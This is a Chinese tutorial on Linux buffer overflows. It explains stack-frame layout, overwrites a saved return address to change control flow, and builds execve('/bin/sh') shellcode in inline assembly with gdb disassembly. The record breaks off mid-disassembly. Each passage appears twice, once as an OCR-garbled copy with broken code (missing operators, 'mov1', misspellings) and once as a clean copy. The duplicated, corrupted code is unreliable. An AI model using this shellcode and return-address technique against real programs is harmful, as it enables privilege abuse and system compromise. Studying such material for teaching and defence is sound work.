1.Linux下进程地址空间的布局及堆栈帧的结构 任何一个程序通常都包括代码段和数据段,这些代码和数据本身都是静态的。程 序要想运行,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间中 为其代码段和数据段建立映射。光有代码段和数据段是不够的,进程在运行过程 中还要有其动态环境,其中最重要的就是堆栈。图3所示为Liux下进程的地 址空间布局: 图3 Linux下进程地址空间的布局 存放命令行参数及环境变量 高地址 stack heap bss 由3ecwg2)清零 data- 由eCg2)建立映射 低地址 text 首先,execve(2)会负责为进程代码段和数据段建立映射,真正将代码段和数据 段的内容读入内存是由系统的缺页异常处理程序按需完成的。另外,execve(2) 还会将bss段清零,这就是为什么未赋初值的全局变量以及static变量其初值 为零的原因。进程用户空间的最高位置是用来存放程序运行时的命令行参数及环 境变量的,在这段地址空间的下方和bss段的上方还留有一个很大的空洞,而作 为进程动态运行环境的堆栈和堆就栖身其中,其中堆栈向下伸展,堆向上伸展。 知道了堆栈在进程地址空间中的位置,我们再来看一看堆栈中都存放了什么。相 信读者对C语言中的函数这样的概念都已经很熟悉了,实际上堆栈中存放的就是 与每个函数对应的堆栈帧。当函数调用发生时,新的堆栈帧被压入堆栈;当函数 返回时,相应的堆栈帧从堆栈中弹出。典型的堆栈帧结构如图4所示。 堆栈帧的顶部为函数的实参,下面是函数的返回地址以及前一个堆栈帧的指针, 最下面是分配给函数的局部变量使用的空间。一个堆栈帧通常都有两个指针,其 中一个称为堆栈帧指针,另一个称为栈顶指针。前者所指向的位置是固定的,而 后者所指向的位置在函数的运行过程中可变。因此,在函数中访问实参和局部 变量时都是以堆栈帧指针为基址,再加上一个偏移。对照图4可知,实参的偏移 为正,局部变量的偏移为负
1. Linux 下进程地址空间的布局及堆栈帧的结构 任何一个程序通常都包括代码段和数据段,这些代码和数据本身都是静态的。程 序要想运行,首先要由操作系统负责为其创建进程,并在进程的虚拟地址空间中 为其代码段和数据段建立映射。光有代码段和数据段是不够的,进程在运行过程 中还要有其动态环境,其中最重要的就是堆栈。图 3 所示为 Linux 下进程的地 址空间布局: 图 3 Linux 下进程地址空间的布局 首先,execve(2)会负责为进程代码段和数据段建立映射,真正将代码段和数据 段的内容读入内存是由系统的缺页异常处理程序按需完成的。另外,execve(2) 还会将 bss 段清零,这就是为什么未赋初值的全局变量以及 static 变量其初值 为零的原因。进程用户空间的最高位置是用来存放程序运行时的命令行参数及环 境变量的,在这段地址空间的下方和 bss 段的上方还留有一个很大的空洞,而作 为进程动态运行环境的堆栈和堆就栖身其中, 其中堆栈向下伸展,堆向上伸展。 知道了堆栈在进程地址空间中的位置,我们再来看一看堆栈中都存放了什么。相 信读者对 C 语言中的函数这样的概念都已经很熟悉了,实际上堆栈中存放的就是 与每个函数对应的堆栈帧。当函数调用发生时,新的堆栈帧被压入堆栈;当函数 返回时,相应的堆栈帧从堆栈中弹出。典型的堆栈帧结构如图 4 所 示。 堆栈帧的顶部为函数的实参,下面是函数的返回地址以及前一个堆栈帧的指针, 最下面是分配给函数的局部变量使用的空间。一个堆栈帧通常都有两个指针,其 中一个称为堆栈帧指针,另一个称为栈顶指针。前者所指向的位置是固定的,而 后者所指向的位置在函数的运行过程中可变。因此,在函数中访问实 参和局部 变量时都是以堆栈帧指针为基址,再加上一个偏移。对照图 4 可知,实参的偏移 为正,局部变量的偏移为负
图4典型的堆栈帧结构 Argument n 偏移为正 函数的实参 Argument 1 Return address 恢复前一个堆栈帧 Previous frame pointer 所必需的数据 堆栈帧指针 Local variable 1 Local variable 2 偏移为负 Local variable 3 函数的局部变量 …… Local variable n 栈顶指针 介绍了堆栈帧的结构,我们再来看一下在Intel i386体系结构上堆栈帧是如何 实现的。图5和图6分别是一个简单的C程序及其编译后生成的汇编程序。 图5一个简单的C程序examplel.c int function(int a,int b,int c) char buffer[14]; int sum; sum a b c; return sum; } void main() int i; i=function(1,2,3); 图6 examplel..c编译后生成的汇编程序examplel.s 1 file "examplel.c" 2 version "01.01" 3 gcc2_compiled.: 4.text
图 4 典型的堆栈帧结构 介绍了堆栈帧的结构,我们再来看一下在 Intel i386 体系结构上堆栈帧是如何 实现的。图 5 和图 6 分别是一个简单的 C 程序及其编译后生成的汇编程序。 图 5 一个简单的 C 程序 example1.c int function(int a, int b, int c) { char buffer[14]; int sum; sum = a + b + c; return sum; } void main() { int i; i = function(1,2,3); } 图 6 example1.c 编译后生成的汇编程序 example1.s 1 .file "example1.c" 2 .version "01.01" 3 gcc2_compiled.: 4 .text
5 align 4 6.globl function 7 type function,@function 8 function: 9 pushl %ebp 10 movl %esp,%ebp 11 subl $20,%esp 12 mov1 8(%ebp),%eax 13 addl 12(%ebp),%eax 14 movl 16(%ebp),%edx 15 addl %eax,%edx 16 movl %edx,-20(%ebp) 17 movl -20(%ebp),%eax 18 jmp .L1 19 align 4 20.L1: 21 leave 22 ret 23.Lfe1: 24 size function,.Lfel-function 25 align 4 26.globl main 27 type main,@function 28 main: 29 pushl %ebp 30 movl %esp,%ebp 31 subl $4,%esp 32 pushl $3 33 pushl $2 34 pushl $1 35 call function 36 addl $12,%esp 37 movl %eax,%eax 38 movl %eax,-4(%ebp) 39.L2: 40 leave 41 ret 42.Lfe2: 43 .size main,.Lfe2-main 44 ident "GCC:(GNU)2.7.2.3" 这里我们着重关心一下与函数function对应的堆栈帧形成和销毁的过程。从图 5中可以看到,function是在main中被调用的,三个实参的值分别为1、2、3
5 .align 4 6 .globl function 7 .type function,@function 8 function: 9 pushl %ebp 10 movl %esp,%ebp 11 subl $20,%esp 12 movl 8(%ebp),%eax 13 addl 12(%ebp),%eax 14 movl 16(%ebp),%edx 15 addl %eax,%edx 16 movl %edx,-20(%ebp) 17 movl -20(%ebp),%eax 18 jmp .L1 19 .align 4 20 .L1: 21 leave 22 ret 23 .Lfe1: 24 .size function,.Lfe1-function 25 .align 4 26 .globl main 27 .type main,@function 28 main: 29 pushl %ebp 30 movl %esp,%ebp 31 subl $4,%esp 32 pushl $3 33 pushl $2 34 pushl $1 35 call function 36 addl $12,%esp 37 movl %eax,%eax 38 movl %eax,-4(%ebp) 39 .L2: 40 leave 41 ret 42 .Lfe2: 43 .size main,.Lfe2-main 44 .ident "GCC: (GNU) 2.7.2.3" 这里我们着重关心一下与函数 function 对应的堆栈帧形成和销毁的过程。从图 5 中可以看到,function 是在 main 中被调用 的,三个实参的值分别为 1、2、3
由于C语言中函数传参遵循反向压栈顺序,所以在图6中32至34行三个实参从 右向左依次被压入堆栈。接下来35行的call指令除了将控制转移到function 之外,还要将cal1的下一条指令addl的地址,也就是function函数的返回地 址压入堆栈。下面就进入function函数了,首先在第9行将main函数的堆栈 帧指针ebp保存在堆栈中并在第I0行将当前的栈顶指针esp保存在堆栈帧指针 ebp中,最后在第l1行为function函数的局部变量buffer[14]和sum在堆栈 中分配空间。至此,函数function的堆栈帧就构建完成了,其结构如图7所示。 图7函数function的堆栈帧 16 3 偏移为正 12 2 function的实参 8 1 4 address of addl 恢复main函做的堆栈帧 0 previous ebp 所必需的数据 ebp buffer[12-13] 偏移为负 -8 buffer[8-11] buffer[4-7] function的局部变量 -12 ~l6 buffer[0-3] -20 sum esp 读者不妨回过头去与图4对比一下。这里有几点需要说明。首先,在Intel i386 体系结构下,堆栈帧指针的角色是由ebp扮演的,而栈顶指针的角色是由esp 扮演的。另外,函数function的局部变量buffer[14]由14个字符组成,其大 小按说应为14字节,但是在堆栈帧中却为其分配了16个字节。这是时间效率和 空间效率之间的一种折衷,因为Intel i386是32位的处理器,其每次内存访问 都必须是4字节对齐的,而高30位地址相同的4个字节就构成了一个机器字。 因此,如果为了填补buffer[14]留下的两个字节而将sum分配在两个不同的机 器字中,那么每次访问sum就需要两次内存操作,这显然是无法接受的。还有一 点需要说明的是,正如我们在本文前言中所指出的,如果读者使用的是较高版 本的gcc的话,您所看到的函数function对应的堆栈帧可能和图7所示有所不 同。上面己经讲过,为函数function的局部变量buffer[14]和sum在堆栈中 分配空间是通过在图6中第11行对esp进行减法操作完成的,而sub指令中的 20正是这里两个局部变量所需的存储空间大小。但是在较高版本的gcc中,sub 指令中出现的数字可能不是20,而是一个更大的数字。应该说这与优化编译技 术有关,在较高版本的g℃C中为了有效运用目前流行的各种优化编译技术,通常 需要在每个函数的堆栈帧中留出一定额外的空间
由于 C 语言中函数传参遵循反向压栈顺序,所以在图 6 中 32 至 34 行三个实参从 右向左依次被压入堆栈。接下来 35 行的 call 指令除了将控制转移到 function 之外,还要将 call 的下一条指令 addl 的地址,也就是 function 函数的返回地 址压入堆栈。下面就 进入 function 函数了,首先在第 9 行将 main 函数的堆栈 帧指针 ebp 保存在堆栈中并在第 10 行将当前的栈顶指针 esp 保存在堆栈帧指针 ebp 中, 最后在第 11 行为 function 函数的局部变量 buffer[14]和 sum 在堆栈 中分配空间。至此,函数 function 的堆栈帧就构建完成了,其结 构如图 7 所示。 图 7 函数 function 的堆栈帧 读者不妨回过头去与图 4 对比一下。这里有几点需要说明。首先,在 Intel i386 体系结构下,堆栈帧指针的角色是由 ebp 扮演的,而栈顶指针的角色是由 esp 扮演的。另外,函数 function 的局部变量 buffer[14] 由 14 个字符组成,其大 小按说应为 14 字节,但是在堆栈帧中却为其分配了 16 个字节。这是时间效率和 空间效率之间的一种折衷,因为 Intel i386 是 32 位的处理器,其每次内存访问 都必须是 4 字节对齐的,而高 30 位地址相同的 4 个字节就构成了一个机器字。 因此,如果为了填补 buffer[14]留下的两个字节而将 sum 分配在两个不同的机 器字中,那么每次访问 sum 就需要两次内存操作,这显然是无法接受的。还有一 点需要说明 的是,正如我们在本文前言中所指出的,如果读者使用的是较高版 本的 gcc 的话,您所看到的函数 function 对应的堆栈帧可能和图 7 所示有所不 同。上面 已经讲过,为函数 function 的局部变量 buffer[14]和 sum 在堆栈中 分配空间是通过在图 6 中第 11 行对 esp 进行减法操作完成的,而 sub 指令中的 20 正是这里两个局部变量所需的存储空间大小。但是在较高版本的 gcc 中,sub 指令中出现的数字可能不是 20,而是一个更大的数字。应该说这与 优化编译技 术有关,在较高版本的 gcc 中为了有效运用目前流行的各种优化编译技术,通常 需要在每个函数的堆栈帧中留出一定额外的空间
下面我们再来看一下在函数function中是如何将a、b、c的和赋给sum的。前 面已经提过,在函数中访问实参和局部变量时都是以堆栈帧指针为基址,再加 上一个偏移,而Intel i386体系结构下的堆栈帧指针就是ebp,为了清楚起见, 我们在图7中标出了堆栈帧中所有成分相对于堆栈帧指针bp的偏移。这下图6 中12至16的计算就一目了然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp) 分别是实参a、b、c和局部变量sum的地址,几个简单的add指令和mov指令 执行后sum中便是a、b、c三者之和了。另外,在gcc编译生成的汇编程序中函 数的返回结果是通过eax传递的,因此在图6中第I7行将sum的值拷贝到eax 中。 最后,我们再来看一下函数function执行完之后与其对应的堆栈帧是如何弹出 堆栈的。图6中第21行的leave指令将堆栈帧指针ebp拷贝到esp中,于是在 堆栈帧中为局部变量buffer[14]和sum分配的空间就被释放了;除此之外,leave 指令还有一个功能,就是从堆栈中弹出一个机器字并将其存放到ebp中,这样 ebp就被恢复为main函数的堆栈帧指针了。第22行的ret指令再次从堆栈中弹 出一个机器字并将其存放到指令指针eip中,这样控制就返回到了第36行main 函数中的addl指令处。addl指令将栈顶指针esp加上l2,于是当初调用函数 function之前压入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此,函 数function的堆栈帧就被完全销毁了。前面刚刚提到过,在gcc编译生成的汇 编程序中通过eax传递函数的返回结果,因此图6中第38行将函数function 的返回结果保存在了main函数的局部变量i中。 2.Linux下缓冲区溢出攻击的原理--改变程序控制流 明白了Liux下进程地址空间的布局以及堆栈帧的结构,我们再来看一个有趣的 例子。 图8一个奇妙的程序example2.c 1 int function(int a,int b,int c){ 2 char buffer[14]; 3 int sum; 4 int *ret; 5 6 ret buffer 20; 7 (*ret)+=10; 8 sum a b c; 9 return sum; 10} 11 12 void main(){ 13 int x;
下面我们再来看一下在函数 function 中是如何将 a、b、c 的和赋给 sum 的。前 面已经提过,在函数中访问实参和局部变量时都是以 堆栈帧指针为基址,再加 上一个偏移,而 Intel i386 体系结构下的堆栈帧指针就是 ebp,为了清楚起见, 我们在图 7 中标出了堆栈帧中所有成分相对于堆栈帧指针 ebp 的偏移。这下图 6 中 12 至 16 的计 算就一目了然了,8(%ebp)、12(%ebp)、16(%ebp)和-20(%ebp) 分别是实参 a、b、c 和局部变量 sum 的地址,几个简单的 add 指令和 mov 指令 执行后 sum 中便是 a、b、c 三者之和了。另外,在 gcc 编译生成的汇编程序中函 数的返回结果是通过 eax 传递的,因此在图 6 中第 17 行将 sum 的值拷贝到 eax 中。 最后,我们再来看一下函数 function 执行完之后与其对应的堆栈帧是如何弹出 堆栈的。图 6 中第 21 行的 leave 指令将堆栈帧指针 ebp 拷贝到 esp 中,于是在 堆栈帧中为局部变量 buffer[14]和 sum 分配的空间就被释放了;除此之外,leave 指令还有一个功能,就是从堆栈 中弹出一个机器字并将其存放到 ebp 中,这样 ebp 就被恢复为 main 函数的堆栈帧指针了。第 22 行的 ret 指令再次从堆栈中弹 出一个机器字并将其存放到 指令指针 eip 中,这样控制就返回到了第 36 行 main 函数中的 addl 指令处。addl 指令将栈顶指针 esp 加上 12,于是当初调用函数 function 之前压入堆栈的三个实参所占用的堆栈空间也被释放掉了。至此,函 数 function 的堆栈帧就被完全销毁了。前面刚刚提到过,在 gcc 编 译生成的汇 编程序中通过 eax 传递函数的返回结果,因此图 6 中第 38 行将函数 function 的返回结果保存在了 main 函数的局部变量 i 中。 2. Linux 下缓冲区溢出攻击的原理---改变程序控制流 明白了 Linux 下进程地址空间的布局以及堆栈帧的结构,我们再来看一个有趣的 例子。 图 8 一个奇妙的程序 example2.c 1 int function(int a, int b, int c) { 2 char buffer[14]; 3 int sum; 4 int *ret; 5 6 ret = buffer + 20; 7 (*ret) += 10; 8 sum = a + b + c; 9 return sum; 10 } 11 12 void main() { 13 int x;
14 15 X=0: 16 function(1,2,3); 17 x=1; 18 printf ("%d\\n",x); 19} 在main函数中,局部变量x的初值首先被赋为0,然后调用与x毫无关系的 function函数,最后将x的值改为l并打印出来。结果是多少呢,如果我告诉 你是0你相信吗?闲话少说,还是赶快来看看函数function都动了哪些手脚吧。 这里的function函数与图5中的function相比只是多了一个指针变量ret以 及两条对ret进行操作的语句,就是它们使得main函数最后打印的结果变成了 0。对照图7可知,地址buffer+20处保存的正是函数function的返回地址, 第7行的语句将函数function的返回地址加了l0。这样会达到什么效果呢?看 一下main函数对应的汇编程序就一目了然了。 图9 example2.c中main函数对应的汇编程序 gdb example2 (gdb)disassemble main Dump of assembler code for function main: 0x804832c: push %ebp 0x804832d: mov %esp,%ebp 0x804832f: sub $Ox4,%esp 0x8048332: mov] $OxO,Oxfffffffc(%ebp) 0x8048339: push $0x3 0x804833b: push $0x2 0x804833d: push $0x1 0x804833f: call 0x80482f8 0x8048344: add $Oxc,%esp 0x8048347: movl $Ox1,Oxfffffffc(%ebp) 0x804834e: mov Oxfffffffc(%ebp),%eax 0x8048351: push %eax 0x8048352: push $0x80483b8 0x8048357: call 0x8048284 0x804835c: add $Ox8,%esp 0x804835f: leave 0x8048360: ret 0x8048361: lea 0x0(%esi),%esi End of assembler dump. 地址为0x804833f的cal1指令会将0x8048344压入堆栈作为函数function的返 回地址,而图8中第7行语句的作用就是将0x8048344加10从而变成了
14 15 x = 0; 16 function(1,2,3); 17 x = 1; 18 printf("%d\\n",x); 19 } 在 main 函数中,局部变量 x 的初值首先被赋为 0,然后调用与 x 毫无关系的 function 函数,最后将 x 的值改为 1 并打印出来。结果 是多少呢,如果我告诉 你是 0 你相信吗?闲话少说,还是赶快来看看函数 function 都动了哪些手脚吧。 这里的 function 函数与图 5 中的 function 相比只是多了一个指针变量 ret 以 及两条对 ret 进行操作的语句,就是它们使得 main 函数最后打印的结果变成了 0。对照图 7 可知,地址 buffer + 20 处保存的正是函数 function 的返回地址, 第 7 行的语句将函数 function 的返回地址加了 10。这样会达到什么效果呢?看 一下 main 函数对 应的汇编程序就一目了然了。 图 9 example2.c 中 main 函数对应的汇编程序 $ gdb example2 (gdb) disassemble main Dump of assembler code for function main: 0x804832c : push %ebp 0x804832d : mov %esp,%ebp 0x804832f : sub $0x4,%esp 0x8048332 : movl $0x0,0xfffffffc(%ebp) 0x8048339 : push $0x3 0x804833b : push $0x2 0x804833d : push $0x1 0x804833f : call 0x80482f8 0x8048344 : add $0xc,%esp 0x8048347 : movl $0x1,0xfffffffc(%ebp) 0x804834e : mov 0xfffffffc(%ebp),%eax 0x8048351 : push %eax 0x8048352 : push $0x80483b8 0x8048357 : call 0x8048284 0x804835c : add $0x8,%esp 0x804835f : leave 0x8048360 : ret 0x8048361 : lea 0x0(%esi),%esi End of assembler dump. 地址为 0x804833f 的 call 指令会将 0x8048344 压入堆栈作为函数 function 的返 回地址,而图 8 中第 7 行语句的作 用就是将 0x8048344 加 10 从而变成了
0x804834e。这么一改当函数function返回时地址为0x8048347的mov指令就被 跳过了,而这条mov指令的作用正是用来将x的值改为1。既然x的值没有改变, 我们打印看到的结果就必然是其初值0了。 当然,图8所示只是一个示例性的程序,通过修改保存在堆栈帧中的函数的返回 地址,我们改变了程序正常的控制流。图8中程序的运行结果可能会使很多读者 感到新奇,但是如果函数的返回地址被修改为指向一段精心安排好的恶意代码, 那时你又会做何感想呢?缓冲区溢出攻击正是利用了在某些体系结构下函数的 返回地址被保存在程序员可见的堆栈中这一缺陷,修改函数的返回地址,使得一 段精心安排好的恶意代码在函数返回时得以执行,从而达到危害系统安全的目 的。 3.Linux下缓冲区溢出攻击的原理--编写shellcode 说到缓冲区溢出就不能不提shel1 lcode,shellcode读者已经在图1中见过了, 其作用就是生成一个shel1。下面我们就来一步步看一下这段令人眼花缭乱的 程序是如何得来的。首先要说明一下,Linux下的系统调用都是通过int$0x80 中断实现的。在调用int$0x80之前,eax中保存了系统调用号,而系统调用的 参数则保存在其它寄存器中。图10所示是直接利用系统调用实现的He11 o World 程序。 图10直接利用系统调用实现的Hel1 o World程序hello.c #include int errno; _syscall3(int,write,int,fd,char *data,int,len); _syscalll(int,exit,int,status); start() write(0,"Hello world!\\n",13); exit(O); } 将其编译链接生成可执行程序hel1o: gcc -c hello.c ld hello.o -o hello $./hello Hello world! ls -1 hello -rwxr-xr-x 1 wy os 1188Sep2917:31he11o*
0x804834e。这么一改当函数 function 返回时地址为 0x8048347 的 mov 指令就被 跳过了,而这条 mov 指令的作用正是用来将 x 的值改为 1。既然 x 的值没有改变, 我们打印看到的结果就必然是其初值 0 了。 当然,图 8 所示只是一个示例性的程序,通过修改保存在堆栈帧中的函数的返回 地址,我们改变了程序正常的控制流。图 8 中程序的运行结果可能会使很多读者 感到新奇,但是如果函数的返回地址被修改为指向一段精心安排好的恶意代码, 那时你又会做何感想呢?缓冲区溢出攻击正是利用了在某些体系结构下函数的 返回地址被保存在程序员可见的堆栈中这一缺陷,修改函数的返回地址,使得一 段精心安排好的恶意代码在函数返回时得以执行,从而达到危害系统安全的 目 的。 3. Linux 下缓冲区溢出攻击的原理---编写 shellcode 说到缓冲区溢出就不能不提 shellcode,shellcode 读者已经在图 1 中见过了, 其作用就是生成一个 shell。下面我们就 来一步步看一下这段令人眼花缭乱的 程序是如何得来的。首先要说明一下,Linux 下的系统调用都是通过 int $0x80 中断实现的。在调用 int $0x80 之前,eax 中保存了系统调用号,而系统调用的 参数则保存在其它寄存器中。图 10 所示是直接利用系统调用实现的 Hello World 程序。 图 10 直接利用系统调用实现的 Hello World 程序 hello.c #include int errno; _syscall3(int, write, int, fd, char *, data, int, len); _syscall1(int, exit, int, status); _start() { write(0, "Hello world!\\n", 13); exit(0); } 将其编译链接生成可执行程序 hello: $ gcc -c hello.c $ ld hello.o -o hello $ ./hello Hello world! $ ls -l hello -rwxr-xr-x 1 wy os 1188 Sep 29 17:31 hello*
图10中的_syscall3和_syscalll都是定义于/usr/include/asm/unistd.h中的 宏,该文件中定义了以R开头的各种系统调用的所对应的系统调用号以及 -syscal10到_syscall6六个宏,分别用于参数个数为0到6的系统调用。由此 可知,Linux系统中系统调用所允许的最大参数个数就是6个,比如mmap(2)。 另外,仔细阅读syscall0到syscall6六个宏的定义不难发现,系统调用号是 存放在寄存器eax中的,而系统调用可能会用到的6个参数依次存放在寄存器 ebx、ecx、edx、esi、edi和ebp中。 清楚了系统调用的使用规则,我先来看一下如何在Linux下生成一个shell。应 该说这是非常简单的任务,使用execve(2)系统调用即可,如图11所示。 图11shel1code.c在Linux下生成一个shel1 #include int main() { char¥name[2]; name[O]="/bin/sh"; name[1]NULL; execve(name [0],name,NULL); _exit(0); 在shellcode..c中一共用到了两个系统调用,分别是execve(2)和_exit(2)。查 看/usr/include/asm/unistd.h文件可以得知,与其相应的系统调用号 NR_execve和NR_exit分别为l1和1。按照前面刚刚讲过的系统调用规则, 在Linux下生成一个shell并结束退出需要以下步骤: 在内存中存放一个以'\0'结束的字符串”"/bin/sh”: 将字符串"bi/sh"的地址保存在内存中的某个机器字中,并且后面紧接 个值为0的机器字,这里相当于设置好了图11中name[2]中的两个指 针; 将execve(2)的系统调用号Il装入eax寄存器; 将字符串"/bin/sh"的地址装入ebx寄存器: 将第2步中设好的字符串"in/sh"的地址的地址装入ecx寄存器: 将第2步中设好的值为0的机器字的地址装入edx寄存器: 执行int$0x80,这里相当于调用execve(2); 将_exit(2)的系统调用号1装入eax寄存器: 将退出码0装入ebx寄存器: ● 执行int$0x80,这里相当于调用exit(2)。 于是我们就得到了图12所示的汇编程序
图 10 中的_syscall3 和_syscall1 都是定义于/usr/include/asm/unistd.h 中的 宏,该文件中定义了以__NR_开头的各种系统调用的所对应的系统调用号以及 _syscall0 到_syscall6 六个宏,分别用于参数个数为 0 到 6 的系统调用。由此 可知,Linux 系统中系统调用所允许的最大参数个数就是 6 个,比如 mmap(2)。 另外,仔细阅读 syscall0 到_syscall6 六个宏的定义不难发现,系统调用号是 存放在寄存器 eax 中的,而系统调用可能会用到的 6 个参数依次存放在寄存器 ebx、ecx、edx、esi、edi 和 ebp 中。 清楚了系统调用的使用规则,我先来看一下如何在 Linux 下生成一个 shell。应 该说这是非常简单的任务,使用 execve(2)系统调用即可,如图 11 所示。 图 11 shellcode.c 在 Linux 下生成一个 shell #include int main() { char *name[2]; name[0] = "/bin/sh"; name[1] = NULL; execve(name[0], name, NULL); _exit(0); } 在 shellcode.c 中一共用到了两个系统调用,分别是 execve(2)和_exit(2)。查 看/usr/include /asm/unistd.h 文件可以得知,与其相应的系统调用号 __NR_execve 和__NR_exit 分别为 11 和 1。按照前面刚刚讲过的系统调用规则, 在 Linux 下生成一个 shell 并结束退出需要以下步骤: • 在内存中存放一个以'\\0'结束的字符串"/bin/sh"; • 将字符串"/bin/sh"的地址保存在内存中的某个机器字中,并且后面紧接 一个值为 0 的机器字,这里相当于设置好了图 11 中 name[2]中的两个指 针; • 将 execve(2)的系统调用号 11 装入 eax 寄存器; • 将字符串"/bin/sh"的地址装入 ebx 寄存器; • 将第 2 步中设好的字符串"/bin/sh"的地址的地址装入 ecx 寄存器; • 将第 2 步中设好的值为 0 的机器字的地址装入 edx 寄存器; • 执行 int $0x80,这里相当于调用 execve(2); • 将_exit(2)的系统调用号 1 装入 eax 寄存器; • 将退出码 0 装入 ebx 寄存器; • 执行 int $0x80,这里相当于调用_exit(2)。 于是我们就得到了图 12 所示的汇编程序
图12使用execve(2)和exit(2)系统调用生成shel1的汇编程序 shellcodeasm.c 1 void main() 2{ 3 asm ( 4 Jmp 1f 5 2: popl %esi 6 mov] %esi,0x8(%esi) 7 movb $0x0,0x7(%esi) 8 movl $0x0,0xc (%esi) 9 mov] $Oxb,%eax 10 mov] %esi,%ebx 11 leal 0x8(%esi),%ecx 12 leal Oxc(%esi),%edx 13 int $0x80 14 movI $Ox1,%eax 15 movl $0x0,%ebx 16 int $0x80 17 1: call 2b 18 string \\"/bin/sh\" 19 "); 20} 这里第4行的jmp指令和第17行的cal1指令使用的都是IP相对寻址方式,第 14行至第16行对应于exit(2)系统调用,由于它比较简单,我们着重看一下 调用execve(2)的过程。首先第4行的jmp指令执行之后控制就转移到了第17 行的call指令处,在call指令的执行过程中除了将控制转移到第5行的pop 指令外,还会将其下一条指令的地址压入堆栈。然而由图12可知,cal1指令后 面并没有后续的指令,而是存放了字符串"bin/sh”,于是实际被压入堆栈的便 成了字符串"/bin/sh"的地址。第5行的pop指令将刚刚压入堆栈的字符串地址 弹出到esi寄存器中。接下来的三条指令首先将esi中的字符串地址保存在字符 串"/bin/sh"之后的机器字中,然后又在字符串"/bin/sh"的结尾补了个’\0', 最后将0写入内存中合适的位置。第9行至第12行按图13所示正确设置好了寄 存器eax、ebx、ecx和edx的值,在第I3行就可以调用execve(2)了。但是在 编译shellcodeasm..c之后,你会发现程序无法运行。原因就在于图13中所示的 所有数据都存放在代码段中,而在Liux下存放代码的页面是不可写的,于是当 我们试图使用图12中第6行的mov指令进行写操作时,页面异常处理程序会向 运行我们程序的进程发送一个SIGSEGV信号,这样我们的终端上便会出现 Segmentation fault的提示信息
图 12 使用 execve(2)和_exit(2)系统调用生成 shell 的汇编程序 shellcodeasm.c 1 void main() 2 { 3 __asm__(" 4 jmp 1f 5 2: popl %esi 6 movl %esi,0x8(%esi) 7 movb $0x0,0x7(%esi) 8 movl $0x0,0xc(%esi) 9 movl $0xb,%eax 10 movl %esi,%ebx 11 leal 0x8(%esi),%ecx 12 leal 0xc(%esi),%edx 13 int $0x80 14 movl $0x1, %eax 15 movl $0x0, %ebx 16 int $0x80 17 1: call 2b 18 .string \\"/bin/sh\\" 19 "); 20 } 这里第 4 行的 jmp 指令和第 17 行的 call 指令使用的都是 IP 相对寻址方式,第 14 行至第 16 行对应于_exit(2)系统调用,由 于它比较简单,我们着重看一下 调用 execve(2)的过程。首先第 4 行的 jmp 指令执行之后控制就转移到了第 17 行的 call 指令处,在 call 指令的执行过程中除了将控制转移到第 5 行的 pop 指令外,还会将其下一条指令的地址压入堆栈。然而由图 12 可知,call 指令后 面并没有后续的指令,而是存放了字符串"/bin/sh",于是实际被压入堆栈的便 成了字符串"/bin/sh"的地址。第 5 行的 pop 指令将刚刚压入堆栈的字符串地址 弹出到 esi 寄存器中。接下来的三条指令首先将 esi 中的字符串地址保存在字符 串"/bin/sh"之后的机器字中,然后又在字符串"/bin/sh"的结尾补了个 '\\0', 最后将 0 写入内存中合适的位置。第 9 行至第 12 行按图 13 所示正确设置好了寄 存器 eax、ebx、ecx 和 edx 的值,在第 13 行就可以调用 execve(2)了。但是在 编译 shellcodeasm.c 之后,你会发现程序无法运行。原因就在于图 13 中所示的 所有数据都存放在代码段中,而在 Linux 下存放代码的页面是不可写的,于是当 我们试图使用图 12 中第 6 行的 mov 指令进行写操作时,页面异常处理程序会向 运行我们程序的进程发送一个 SIGSEGV 信号,这样我们的终端上便会出现 Segmentation fault 的提示信息
图13调用execve(2)之前各寄存器的设置 0 edx Oxc(%esi) address of“fbin/sh ecx 0x8(%esi) P‘sh0'4 0x7(%es1 'P'b'i'n' ebx esi 解决的办法很简单,既然不能对代码段进行写操作,我们就把图12中的代码挪 到可写的数据段或堆栈段中。可是一段可执行的代码在数据段中应该怎么表示 呢?其实,内存中存放着的无非是0和1这样的比特,当我们的程序将其用作代 码时这些比特就成了代码,而当我们的程序将其用作数据时这些比特又成了数 据。我们先来看一下图12中的代码在内存中是如何存放的,通过gdb中的x命 令可以很容易的做到这一点,如图14所示。 图14通过gdb中的x命令查看图12中的代码在内存中对应的数据 gdb shellcodeasm (gdb)disassemble main Dump of assembler code for function main: 0x80482c4: push %ebp 0x80482c5: mov %esp,%ebp 0x80482c7: jmp 0x80482f3 0x80482c9: pop %esi 0x80482ca: mov %esi,0x8(%esi) 0x80482cd: movb $0x0,0x7(%esi) 0x80482d1: movl $0x0,0xc (%esi) 0x80482d8: mov $Oxb,%eax 0x80482dd: mov %esi,%ebx 0x80482df: lea 0x8(%esi),%ecx 0x80482e2: lea Oxc(%esi),%edx 0x80482e5: int $0x80 0x80482e7: mov $Ox1,%eax 0x80482ec: mov $0x0,%ebx 0x80482f1: int $0x80 0x80482f3: call 0x80482c9 0x80482f8: das 0x80482f9: bound %ebp,Ox6e(%ecx) 0x80482fc: das 0x80482fd: jae 0x8048367
图 13 调用 execve(2)之前各寄存器的设置 解决的办法很简单,既然不能对代码段进行写操作,我们就把图 12 中的代码挪 到可写的数据段或堆栈段中。可是一段可执行的代码在数据段中应该怎么表示 呢?其实,内存中存放着的无非是 0 和 1 这样的比特,当我们的程序将其用作代 码时这些比特就成了代码,而当我们的程序将其用作数据时这些比特又成了数 据。我们先来看一下图 12 中的代码在内存中是如何存放的,通过 gdb 中的 x 命 令可以很容易的做到这一点,如图 14 所示。 图 14 通过 gdb 中的 x 命令查看图 12 中的代码在内存中对应的数据 $ gdb shellcodeasm (gdb) disassemble main Dump of assembler code for function main: 0x80482c4 : push %ebp 0x80482c5 : mov %esp,%ebp 0x80482c7 : jmp 0x80482f3 0x80482c9 : pop %esi 0x80482ca : mov %esi,0x8(%esi) 0x80482cd : movb $0x0,0x7(%esi) 0x80482d1 : movl $0x0,0xc(%esi) 0x80482d8 : mov $0xb,%eax 0x80482dd : mov %esi,%ebx 0x80482df : lea 0x8(%esi),%ecx 0x80482e2 : lea 0xc(%esi),%edx 0x80482e5 : int $0x80 0x80482e7 : mov $0x1,%eax 0x80482ec : mov $0x0,%ebx 0x80482f1 : int $0x80 0x80482f3 : call 0x80482c9 0x80482f8 : das 0x80482f9 : bound %ebp,0x6e(%ecx) 0x80482fc : das 0x80482fd : jae 0x8048367